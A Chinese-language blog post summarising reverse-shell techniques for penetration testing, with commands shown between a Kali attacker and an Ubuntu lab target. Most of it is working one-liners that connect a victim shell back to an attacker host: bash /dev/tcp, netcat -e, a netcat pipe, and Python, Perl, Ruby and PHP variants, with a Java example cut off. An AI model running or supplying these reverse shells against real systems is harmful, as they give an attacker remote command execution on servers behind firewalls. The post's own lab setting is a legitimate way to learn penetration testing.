之前也看过大牛们做题时利用反弹shell,一直没有仔细研究.今天又看了几位师傅的博客,自己总结一下.
为什么要反弹shell
在渗透测试中,当我们可以得到一个可以执行远程命令的漏洞时,我们通常会去获取一个shell,但是通常服务器防火墙亦或者云上都会对端口等进行严格控制.导致不能通过监听端口进行shell连接,这种情况下该怎么获取shell呢?
而通常情况下,不论是防火墙还是云盾等防护措施,不会对服务器对外连接进行限制(特殊情况除外),这时候就可以通过反弹shell来获取连接,即通过服务器反向连接一个外部机器来获取一个shell.
反弹shell
在理解反弹shell的操作命令前,可以先看一看前辈写的linux文件描述符.
攻击机kali:192.168.91.133
靶机ubuntu:192.168.91.134
bash
bash反弹shell应该是最常见的操作.
攻击机kali监听2333端口:1
nc -lvp 2333
靶机:1
bash -i >& /dev/tcp/192.168.91.133/2333 0>&1
然后kali上就出现了ubuntu的shell.
bash -i
表示产生一个交互式的shelldev/tcp/host/port
这个文件非常特殊,可以理解为一个设备.如果host 是一个合法的主机名或internet地址,并且port是一个整数端口号或服务名,bash试图建立与相应的socket(套接字)的TCP连接.
netcat反弹shell
netcat的-e参数后面跟一个可执行程序的名称,因为我的ubuntu的netcat是不带这个参数e的,所以这里我用kali作为靶机,ubuntu攻击机.
ubuntu监听2333端口:1
nc -lvp 2333
kali弹shell给ubuntu:1
nc -e /bin/bash 192.168.91.134 2333
成功弹shell.
利用管道反弹shell
因为有的发行版linux中netcat是不带这个参数的,这时候可以利用管道进行反弹shell.
首先攻击机kali监听两个端口2333,7777:
然后ubuntu连接攻击机2333端口,将传递过来的命令交给/bin/bash执行然后将结果返回到7777端口:1
nc 192.168.91.133 2333 | /bin/bash | nc 192.168.91.133 7777
监听2333端口的会话成功得到shell,然后执行命令,结果返回在7777端口的会话.
常见脚本反弹
python
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' |
perl
方法1:1
perl -e 'use Socket;$i="x.x.x.x";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
方法2:1
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
ruby
1 | ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
php
1 | php -r '$sock=fsockopen("x.x.x.x",port);exec("/bin/bash -i <&3 >&3 2>&3");' |
java
1 | public class Revs { |